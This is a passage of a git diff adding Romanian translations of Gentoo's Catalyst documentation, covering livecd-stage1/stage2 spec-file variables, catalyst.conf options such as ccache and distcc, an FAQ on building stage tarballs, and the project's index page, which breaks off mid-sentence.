+		Versiunea snapshot Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea este relativă faţă de ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+		opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+		calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/use</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Indicatorii USE folosiţi pentru construirea mediului livecd
+		</ti>
+		<ti>
+		livecd/use: gtk2 kde gnome qt bonobo
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/packages</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		lista pachetelor pentru compilat şi inclus în mediul livecd
+		</ti>
+		<ti>
+        livecd/packages: xorg-x11 qt parted mozilla-firefox gnome
+		</ti>
+	</tr>
+	</table>
+
+	<impo>
+	<c>livecd</c> <c>TREBUIE</c> inclus pe lângă indicatorii USE pe care îi specificaţi în variabila <c>livecd/use</c>.
+	Asiguraţi-vă să introduceţi <c>sys-apps/baselayout</c> printre pachetele specificate în variabila <c>livecd/packages</c>,
+	aşa cum baselayout trebuie recompilat cu indicatorul USE <c>livecd</c> activat, pentru ca LiveCD-ul să boot-eze
+	corespunzător.
+	</impo>
+
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe pentru Ţinta Livecd-stage2 
+	</title>
+	<section>
+	<body>
+	<p>
+	<b>Numele ţintă:</b> <c>livecd-stage2</c>
+	</p>
+	<p>
+	<b>Descrierea ţintei:</b> Această ţintă pregăteşte LiveCD-ul pentru uz general. Un LiveCD stage2 conţine
+	un livecd-stage1 plus kernel şi scripturi iniţializare (initrd) ce vor fi folosite pentru boot-area 
+	imaginii CD-ului.
+	</p>
+	<p>
+	<b>Cerinţe pentru construire:</b> Un snapshot cu arborele Portage şi o imagine sursă cu livecd-stage1
+	</p>
+	
+	<p>
+	LiveCD-stage2 foloseşte următoarele setări:
+	</p>
+	<table>
+	<tr>
+		<th>
+		Variabilă
+		</th>
+		<th>
+		Utilizare
+		</th>
+		<th>
+		Descriere
+		</th>
+		<th>
+		Exemplu fişier specificaţie
+		</th>
+	</tr>
+	<tr>
+		<ti>
+		<c>subarch</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+			<uri link="/proj/en/releng/catalyst/index.xml#doc_chap5">sub-arhitectura</uri> pentru care 
+			Catalyst este construit, de ex. pentium4 sau athlon-xp	
+		</ti>
+		<ti>subarch: athlon-xp
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>version_stamp</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificator, de ex. data sau numărul versiunii
+		</ti>
+		<ti>
+		version_stamp: 2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>target</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ţinta pentru care este construit Catalyst, în acest caz, <c>livecd-stage2</c>
+		</ti>
+		<ti>
+		target: stage1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>rel_type</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		profilul ce va fi folosit de Catalyst, în cele mai multe cazuri <c>default</c> este de ajuns
+		</ti>
+		<ti>
+		rel_type: implicit
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>profile</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Profilul Portage (/etc/make.profile) pe care Catalyst îl va folosi pentru construire
+  	    </ti>
+		<ti>
+		profile: default-linux/x86/2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>snapshot</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		Versiunea snapshot pentru Portage folosită, calea fiind relativă la ${clst_storedir}/snapshots
+		</ti>
+		<ti>
+		snapshot: 20041222
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>source_subpath</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		locaţia fişierului stage sursă, calea fiind relativă faţă de ${clst_sharedir}
+		</ti>
+		<ti>
+		source_subpath: default/stage3-x86-2004.1
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>distcc_hosts</c>
+		</ti>
+		<ti>
+        opţional, <c>distcc</c> cerut în <c>options</c> (catalyst.conf)
+		</ti>
+		<ti>
+        calculatoarele gazdă folosite pentru compilare distribuită distcc
+		</ti>
+		<ti>
+		distcc_hosts: 127.0.0.1 192.168.0.1
+		</ti>
+	</tr>
+	<tr>
+	    <ti>
+	    <c>boot/kernel</c>
+	    </ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		identificatori pentru toate imaginile de kernelce vor fi disponibile pe LiveCD
+		</ti>
+		<ti>
+		boot/kernel: gentoo smp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/sources</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		ebuild de kernel care va fi folosit pentru fiecare kernel
+		</ti>
+		<ti>
+		boot/kernel/gentoo/sources: gentoo-dev-sources
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/config</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		calea completă către fişierul .config al kernel-ului folosit în compilarea unui kernel specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/config: /home/user/smp-config.config
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/extraversion</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		etichetă opţională ce va fi adăugată kernel-ului specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/extraversion: 1337-CD
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/packages</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista pachetelor ebuild de care depind sursele kernel, pentru a fi compilate împreună cu kernel-ul
+		</ti>
+		<ti>
+		boot/kernel/gentoo/packages: hostap-driver pcmcia-cs
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/use</c>
+		</ti>
+		<ti>
+		opţionali
+		</ti>
+		<ti>
+		Indicatorii USE folosiţi în compilarea pachetelor de care depinde kernel-ul sursă
+		</ti>
+		<ti>
+		boot/kernel/gentoo/use: apm pnp pcmcia
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>boot/kernel/[boot/kernel:x]/gk_kernargs</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista argumentelor ce va fi transmisă genkernel pentru kernel-ul specificat
+		</ti>
+		<ti>
+		boot/kernel/smp/gk_kernargs: --kernel-cc=distcc --tempdir=/tmp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/gk_mainargs</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista argumentelor ce va fi transmisă aplicaţiei genkernel
+		</ti>
+		<ti>
+		livecd/gk_mainargs: --kernel-cc=distcc --tempdir=/tmp
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/cdfstype</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		tipul de sistem de fişiere ce va fi folosit pentru LiveCD, tipurile suportate fiind
+		zisofs, squashfs, cloop, gcloop, şi noloop
+		</ti>
+		<ti>
+		livecd/cdfstype: squashfs
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/runscript</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		scriptul de iniţializare folosit de Catalyst (păstraţi valorile implicite, altfel trebuie să ştiţi EXACT ce faceţi)
+		</ti>
+		<ti>
+		livecd/runscript: /usr/lib/catalyst/livecd/runscript/default-runscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/archscript</c>
+		</ti>
+		<ti>necesară
+		</ti>
+		<ti>
+		scriptul archscript folosit de Catalyst (păstraţi valorile implicite, altfel trebuie să ştiţi EXACT ce faceţi)
+		</ti>
+		<ti>
+		livecd/archscript: /usr/lib/catalyst/livecd/runscript/x86-archscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/empty</c>
+		</ti>
+		<ti>
+		opţionlă
+		</ti>
+		<ti>
+		lista directoarelor ce vor fi şterse în mediul LiveCD (folosită pentru economisirea spaţiului)
+		</ti>
+		<ti>
+		livecd/empty: /var/tmp /var/cache /usr/portage
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/rm</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		fişiere specifice ce vor fi şterse din mediul LiveCD (folosit pentru economisirea spaţiului)
+		</ti>
+		<ti>
+		livecd/rm: /lib/*.a /var/log/emerge.log
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/unmerge</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista pachetelor ce vor fi dezinstalate din mediul LiveCD
+		</ti>
+		<ti>
+		livecd/unmerge: autoconf automake portage man-pages
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/iso</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		locaţia în care va fi păstrat fişierul .iso generat
+		</ti>
+		<ti>
+		livecd/iso: /tmp/my_livecd.iso
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/overlay</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		directorul ce va fi copiat în sistemul de fişiere al LiveCD-ului boot-at (nu mediul root al LiveCD)
+		</ti>
+		<ti>
+		livecd/overlay: /home/user/my_overlay
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/root_overlay</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către directorul ce va fi creat în mediul LiveCD-ului boot-at 
+		</ti>
+		<ti>
+		livecd/root_overlay: /home/user/my_root_overlay
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/modblacklist</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista modulelor interzise ce nu vor fi încărcate de hotplug
+		</ti>
+		<ti>
+		livecd/modblacklist: usb-storage nvidia
+		</ti>
+	</tr>
+	<tr>
+		<ti><c>livecd/rcadd</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista aplicaţiilor daemon şi a nivelurilor de rulare ale acestora, ce vor fi porniţi
+		</ti>
+		<ti>
+		livecd/rcadd: syslog-ng:default gpm:default
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/rcdel</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		lista aplicaţiilor daemon şi a nivelurilor de rulare ale acestora, ce vor fi eliminaţi
+		</ti>
+		<ti>
+		livecd/rcadd: syslog-ng:default sshd:default
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/type</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		tipul LiveCD-ului ce va fi construit
+		</ti>
+		<ti>
+		gentoo-release-universal
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/motd</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către motd, ce va fi folosit în mediul LiveCD-ului boot-at
+		</ti>
+		<ti>
+		/home/users/livecd-motd.txt
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/splash_type</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		ce pachet splash va fi folosit, bootsplash sau gensplash
+		</ti>
+		<ti>
+		livecd/splash_type: gensplash
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/splash_theme</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		tema splash ce va fi folosită
+		</ti>
+		<ti>
+		livecd/splash_theme: livecd-2004.3
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/fsscript</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		script-ul ce va fi rulat în interiorul mediului LiveCD (pentru ajustarea şi îmbunătăţirea acestuia, etc)
+		</ti>
+		<ti>
+		livecd/fsscript: /home/user/my_fsscript.sh
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/xinitrc</c>
+		</ti>
+		<ti>
+		opţională
+		</ti>
+		<ti>
+		calea completă către un script xinitrc ce va fi folosit cu un XLiveCD
+		</ti>
+		<ti>
+		livecd/xinitrc: /home/user/livecd_xinitrc
+		</ti>
+	</tr>
+	<tr>
+		<ti>
+		<c>livecd/devmanager</c>
+		</ti>
+		<ti>
+		opţional
+		</ti>
+		<ti>
+		managerul de dispozitive ce va fi folosit în cadrul livecd-ului, sau devfs sau udev
+		</ti>
+		<ti>
+		livecd/devmanager: udev
+		</ti>
+	</tr>
+	</table>
+
+	<note>
+	<b>script-urile runscript şi archscript:</b> Variabilele <c>livecd/runscript</c> şi <c>livecd/archscript</c> folosesc
+	script-urile shell care efectuează diverse sarcini în sistem, care cer interacţiune prin shell. Pentru scopurile
+	ţintei <c>livecd-stage2</c>, archscript şi runscript sunt folosite pentru construirea kernel(-urilor) pentru
+	LiveCD, performarea unor sarcini de pregătire şi curăţare a sistemului de fişiere al CD-ului, plasarea sistemului
+	de fişiere boot-abil al CD-ului într-un loopback aşa cum este nevoie, şi configurarea bootloader-ului pentru LiveCD.  
+	</note>
+	
+	<note>
+    <b>Utilizarea variabilelor legate de kernel în fişierul specificaţie:</b> Pentru fiecare nume de variabilă în 
+    <c>boot/kernel</c> ce se găseşte în fişierul specificaţie (cum este <c>gentoo</c>, de exemplu), această ţintă va
+    folosi <c>genkernel</c> pentru construirea kernel-ului şi a initrd. Cu exemplul introducerii <c>gentoo</c> în
+    <c>boot/kernel</c>, Catalyst va folosi setarea <c>boot/kernel/gentoo/sources</c> pentru a determina ce surse de kernel
+    să instaleze pentru această construcţie particulară de kernel (un exemplu de setare ar fi 
+    <c>=sys-kernel/gentoo-dev-sources-2.6.0</c>). Orice setare <c>USE</c> specificată în <c>boot/kernel/gentoo/use</c>
+    va fi exportată mediului înainte de executarea <c>genkernel</c>.   
+	</note>
+
+	</body>
+	</section>
+
+</chapter>
+
+<chapter>
+	<title>
+	Referinţe despre Opţiunile Catalyst
+	</title>
+	
+	<section>
+	<title>
+	Introducere
+	</title>
+	<body>
+	<p>
+	Sunt multe diferite opţiuni ce pot fi setate în <c>catalyst.conf</c>. Găsiţi mai jos explicaţii detaliate a fiecăreia.
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	ccache
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> ccache
+	</p>
+	<p>
+	<b>Descriere:</b> Activează suportul ccache în timpul compilării.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării după prima compilare.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>ccache</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>.
+	</p>
+	<p>
+	<b>Exemplu:</b> options: ccache
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>pkgcache
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> pkgcache
+	</p>
+	<p>
+	<b>Descriere:</b> Activează caching-ul arhivelor sursă .tbz2.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării după prima compilare prin utilizarea pachetelor precompilate.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>pkgcache</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>.
+	</p>
+	<p>
+	<b>Example:</b> options: pkgcache
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	distcc
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> distcc
+	</p>
+	<p>
+	<b>Descriere:</b> Activează compilarea distribuită în reţea.
+	</p>
+	<p>
+	<b>Scop:</b> Măreşte dramatic viteza compilării prin utilizarea mai multor calculatoare gazdă pentru compilare.
+	</p>
+	<p>
+	<b>Utilizare:</b> Adăugaţi <c>distcc</c> la <c>options</c> în <path>/etc/catalyst/catalyst.conf</path>,
+	şi setaţi distcc_hosts în fişierele dvs. specificaţie (spec).
+	</p>
+	<p>
+	<b>Exemplu:</b> options: distcc
+	</p>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	envscript
+	</title>
+	<body>
+	<p>
+	<b>Nume Parametru:</b> envscript
+	</p>
+	<p>
+	<b>Descriere:</b> Activează definirea oricărei variabile de mediu ce va fi utilizată în timpul compilării.
+	</p>
+	<p>
+	<b>Scop:</b> Pentru a activa folosirea setărilor HTTP proxy, MAKEOPTS, şi a altor setări specifice mediului. 
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>envscript=script.sh</c> în <path>/etc/catalyst/catalyst.conf</path>. Un script 
+	envscript foloseşte următorul format:
+	</p>
+	
+<pre caption="exemplu envscript">
+export MAKEOPTS="-j4"
+export GENTOO_MIRRORS="mymirror"
+export meep="foo"
+</pre>
+	</body>
+	</section>
+	
+	<section>
+	<title>
+	storedir
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> storedir
+	</p>
+	<p>
+	<b>Descriere:</b> Specifică directorul principal de lucru al Catalyst.
+	</p>
+	<p>
+	<b>Scop:</b> Activează definirea din partea utilizatorului a directorului de lucru.
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>storedir</c> către o locaţie specificată în <path>/etc/catalyst/catalyst.conf</path>
+	</p>
+	<p>
+	<b>Exemplu:</b> storedir: /home/user/catalyst_storedir
+	</p>
+	</body>
+	</section>
+
+	<section>
+	<title>
+	sharedir
+	</title>
+	<body>
+	<p>
+	<b>Numele Opţiunii:</b> sharedir
+	</p>
+	<p>
+	<b>Descriere:</b> Specifică locaţia pricipalelor fişiere program şi binare ale Catalyst.
+	</p>
+	<p>
+	<b>Scop:</b> Activează definirea din partea utilizatorului a locaţiei pricipalelor fişiere program şi a 
+	binarelor Catalyst.
+	</p>
+	<p>
+	<b>Utilizare:</b> Setaţi <c>sharedir</c> către o locaţie specificată în <path>/etc/catalyst/catalyst.conf</path>
+	</p>
+	<p>
+	<b>Exemplu:</b> sharedir: /home/user/catalyst_sharedir
+	</p>
+	</body>
+	</section>
+
+</chapter>	
+</guide>
diff --git a/xml/htdocs/proj/ro/releng/catalyst/faq.xml b/xml/htdocs/proj/ro/releng/catalyst/faq.xml
new file mode 100644
index 00000000..2db4945c
--- /dev/null
+++ b/xml/htdocs/proj/ro/releng/catalyst/faq.xml
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/ro/releng/catalyst/faq.xml" lang="ro">
+
+<title>Întrebări Frecvente despre Catalyst</title>
+<author title="Autor">John Davis</author>
+<author title="Autor">Daniel Robbins</author>
+<author title="Contribuitor">William Kilian</author>
+<author title="Editor">Chris Gianelloni</author>
+<author title="Translator">
+  <mail link="robert.datcu@gentoo.ro">Robert Datcu</mail>
+</author>
+
+<abstract>
+Întrebări frecvente despre Catalyst.
+</abstract>
+
+<version>1.0</version>
+<date>2005-12-01</date>
+
+<chapter>
+<title>Întrebări frecvente</title>
+
+<section>
+<body>
+
+<p>
+<b>Î: Cum construiesc arhive stage2 şi stage3 pentru un tip de procesor care nu
+este "generic", cum ar fi <c>pentium4</c> sau <c>g4</c>?</b>
+</p>
+
+<p>
+R: În primul rând, asiguraţi-vă că sistemul dvs. hardware dvs. este capabil în
+a construi un astfel de fişier stage. Dacă doriţi să creaţi un fişier stage
+<c>pentium4</c>, va trebui să îl construiţi pe un sistem Pentium 4 sau
+AMD64/Opteron. Nu puteţi construi un fişier stage <c>pentium4</c> pe un sistem
+Athlon XP, întrucât procesorul Athlon XP nu suportă instrucţiunile SSE2, iar
+aceste instrucţiuni SSE2 vor fi activate pentru fişierele stages
+<c>pentium4</c>. Asemănător, dacă doriţi să construiţi un fişier stage
+<c>g4</c>, va trebui să faceţi aceasta pe un sistem PowerPC G4 sau G5.
+</p>
+
+<p>
+Odată ce v-aţi asigurat că veţi construi pe baza hardware corectă, doar urmaţi
+paşii de mai jos, dar pentru construirea unui fişier stage2, schimbaţi
+variabila <c>subarch</c> cu o arhitectură non-generică validă (ex.
+<c>pentium4</c>.) Apoi fişierul stage2 al dvs. va fi construit pentru
+subarhitectura pe care o veţi specifica. Apoi, folosiţi acest fişier stage2 ca
+stage "sursă" pentru construirea fişierului dvs. stage3. Desigur, veţi dori de
+asemenea să modificaţi variabila <c>subarch</c> în specificaţiile fişierului
+dvs. stage3 pentru a se potrivi cu specificaţiile fişierului dvs. stage2.
+</p>
+
+<p>
+<b>Î: Vreau să construiesc mai multe fişiere stage pentru subarhitecturi
+diferite. Cum ar trebui	să fac asta?</b>
+</p>
+
+<p>
+R: În primul rând, construiţi un fişier stage1 generic. Apoi folosiţi acest
+fişier pentru a construi fişiere specifice stage2 şi stage3. Folosiţi din nou
+acest fişier stage1 pentru a construi alte fişiere specifice stage2 şi stage3.
+Nu trebuie să reconstruiţi fişierul stage1 -- toate fişierele dvs. specifice
+stage2 şi stage3 pot folosi acelaşi fişier "sursă" stage1.
+</p>
+
+<p>
+<b>Î: Pot construi un fişier stage1 pentru un tip de CPU negeneric?</b>
+</p>
+
+<p>
+R: Aceasta nu este o idee foarte bună, întrucât utilizatorii se aşteaptă ca
+fişierul stage1 să funcţioneze pe orice tip de sub-arhitectură. În acest fel,
+ei pot folosi fişierul stage1 pe orice sistem fără griji. Trebuie să vă
+asiguraţi să nu "poluaţi" fişierul dvs. stage1 cu cod specific unui procesor
+negeneric. 
+</p>
+
+<p>
+<b>Î: Credeam că catalyst are posibilitatea de a construi fişiere stage
+"pornind de la zero". Dacă catalyst construieşte fişiere stage "de la zero", de
+ce mai este nevoie de un stage "sursă"?</b>
+</p>
+
+<p>
+R: Bună întrebare. Aşa cum ştiţi, fişierele stage2 şi stage3 depind pentru
+construire de fişierele stage anterioare, care sunt necesare şi identificabile
+prin numele lor (de ex. "stage2" înseamnă că a existat un "stage1".) Totuşi,
+catalyst are nevoie de un fişier stage de bază pentru construirea unui fişier
+stage1, deci pentru a-l construi merită studiat pentru a vedea de ce este
+necesar. Când construieşte un fişier stage1, catalyst foloseşte fişierul stage
+bază (stage2 sau stage3) pentru a configura mediul chroot. În mediul chroot,
+noul fişier stage1 este construit prin stabilirea variabilei de mediu
+<c>ROOT</c> în <path>/tmp/stage1root</path>. <path>/tmp/stage1root</path> este
+apoi pregătit şi devine fişierul stage1 ţintă. Ce înseamnă acestea este că
+atunci când catalyst construieşte un fişier stage1, fişierul însuşi nu
+moşteneşte vreun binar sau librărie din fişierulul stage de bază folosit.
+Fişierul bază folosit <e>influenţează</e> cumva fişierul ţintă stage1 --
+header-ele Linux din fişierul de bază sunt folosite pentru a construi pachetul
+glibc al stage1, iar compilatoarele din fişierul sursă sunt folosite pentru a
+compila toate programele din fişierul ţintă stage1. Fişierul stage de bază este
+folosit pentru a izola procesul de construire al stage1 de sistemul dvs., şi de
+asemenea permite tuturor fişierelor stage1 x86 să poată fi construite pe
+sisteme amd64, de exemplu.
+</p>
+
+<p>
+<b>Î: Există un ghid oficial pentru Catalyst?</b>
+</p>
+
+<p>
+În acest moment, nu există un ghid oficial. Dacă sunteţi interesat în a scrie
+unul, raportaţi un bug cu ghidul ataşat la acesta. Lipsa unui ghid
+oficial nu înseamnă că Catalyst este complet nedocumentat. Dacă Catalyst este
+instalat cu indicatorul USE <c>doc</c> activat, exemple bine comentate de
+fişiere specificaţii sunt instalate în to
+<path>/usr/share/doc/catalyst-$versiune/examples</path>.
+</p>
+
+<p>
+Dacă încă aveţi întrebări după ce aţi citit aceste exemple, subscrieţi la lista
+de mail-uri gentoo-catalyst.
+</p>
+
+<p>
+<b>Î: Unde put indicatorii USE specifici fiecărui pachet, setările privind
+pachetele mascate etc.?</b>
+</p>
+
+<p>
+Catalyst suportă fişierele de configurare din /etc/portage. Doar adăugaţi linia
+următoare în fişierul dvs. spec, şi asiguraţi-vă că folosiţi aceeaşi locaţie
+<c>portage_confdir</c> pentru fişierele stage sursă, după cum urmează:  
+</p>
+
+<p>
+portage_confdir: /cale/către/propriul/etc/portage
+</p>
+
+<p>
+<b>Î: Chiar ar trebui să construiesc propriul stage1 sau să folosesc unul de pe
+un mirror Gentoo?</b>
+</p>
+
+<p>
+Fişierele stage de pe ultimul release Gentoo ar fi suficiente, doar dacă nu
+plănuiţi o instalare hardened sau doriţi să schimbaţi setările profilului (de
+ex. USE flags, CFLAGS, etc).
+</p>
+
+<p>
+<b>Î: Cum îmi ţin actualizate pachetele mele GRP/stage/LiveCD?</b>
+</p>
+
+<p>
+Catalyst foloseşte Portage pentru toate compilările, deci tot ce trebuie să
+faceţi este să vă regeneraţi Portage ca snapshot şi să reconstruiţi propriile
+GRP/stages/LiveCD. Portage va urma în mod normal toate regulile proprii pentru
+a decide ce pachete trebuie actualizate.
+</p>
+
+<p>
+<b>Î: Foloseşte Catalyst vreo sintaxă specială pentru indicatorii USE?</b>
+</p>
+
+<p>
+Nu, sintaxa indicatorilor USE folosită de Catalyst este exact la fel cu cea a
+Portage.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ro/releng/catalyst/index.xml b/xml/htdocs/proj/ro/releng/catalyst/index.xml
new file mode 100644
index 00000000..6113a8b1
--- /dev/null
+++ b/xml/htdocs/proj/ro/releng/catalyst/index.xml
@@ -0,0 +1,237 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/releng/catalyst/index.xml,v 1.7 2007/07/16 22:20:46 yoswink Exp $ -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+
+<name>Catalyst</name>
+<longname>Catalyst</longname>
+
+<description>
+Acest proiect dezvoltă utilitarul catalyst, care este folosit pentru a realiza
+arhive compresate stage, pachete şi medii Install CD oficiale Gentoo.
+</description>
+
+<longdescription>
+<p>
+Acest proiect dezvoltă utilitarul catalyst, care este folosit pentru a realiza
+arhive compresate stage, pachete şi medii Install CD oficiale Gentoo. Este, de
+asemenea, utilizat în alte proiecte Gentoo ce nu reprezintă versiuni oficiale
+Gentoo, cum ar fi GNAP şi, în curând, proiectul Gentoo GameCD. Acest
+utilitar este proiectat în scopul de a fi uşor de utilizat, personalizat,
+extins şi menţinut.
+</p>
+</longdescription>
+
+<goals>
+<p>
+Scopul proiectului catalyst este de a oferi o singură unealtă centralizator,
+care pot construi toate toate aspectele unui release Gentoo Linux: arhive
+stage, seturi de pachete GRP şi medii Install CD.
+</p>
+
+<p>
+Scopurile noastre specifice dezvoltării <c>catalyst</c> includ următoarele:
+asigurarea că oferă pachete de bună calitate ale Gentoo Linux, iar pentru
+unealtă că este uşor de folosit, adaptat, extins şi menţinut. Catalyst se
+intenţionează a fi folosit de cei care doresc să îşi creeze propriile versiuni
+modificate de Gentoo Linux, sau propriile medii LiveCD adaptate. Scopul nostru
+este de a face catalyst o unealtă puternică, cu plăcere în a folosi-o, şi a ne
+asigura că codul pe care-l scriem poate fi menţinut şi este de bună calitate.
+</p>
+</goals>
+
+<dev role="lead" description="Design lead">wolf31o2</dev>
+<dev role="lead" description="Code monkey">rocket</dev>
+
+<extrachapter position="top">
+<title>Documentaţie</title>
+<section>
+<body>
+
+<p>
+Documentul despre <uri link="faq.xml">Întrebări Frecvente</uri> pentru Catalyst
+încearcă să răspundă întrebărilor puse de obicei referitoare la Catalyst
+</p>
+
+<p>
+Catalyst a fost împărţit în două versiuni. Ramura curentă 1.x va rămâne
+suportată şi va fi utilizată doar pentru rezolvările erorilor până când ramura
+2.0 va deveni stabilă. Nici o altă funcţionalitate va fi adăugată versiunii
+1.x a catalyst după publicarea versiunii 1.1.10.10.
+</p>
+
+<p>
+Manualul de Referinţă al catalyst este acum disponibil în două versiuni, una
+pentru catalyst <uri link="1.x/reference.xml">1.x</uri> şi una pentru catalyst
+<uri link="2.x/reference.xml">2.x</uri>.
+</p>
+
+<impo>
+Momentan, versiunea 2.x este în construcţie, deci este doar parţial corectă. Vă
+rugăm să nu utilizaţi această versiune cât timp această notă este prezentă
+aici.
+</impo>
+
+<p>
+Manualul de Referinţă este ghidul definitiv pentru opţiuni valide, pentru
+fişiere de specificaţii catalyst şi, de asemenea, pentru <c>catalyst.conf</c>.
+</p>
+
+<note>
+Manualul de Referinţă pentru Catalyst nu a fost actualizat de ceva vreme. Cea
+mai bună documentaţie pentru fiecare opţiune catalyst se obţine prin instalarea
+catalyst cu <c>emerge catalyst</c> şi analizând fişierele efective utilizate
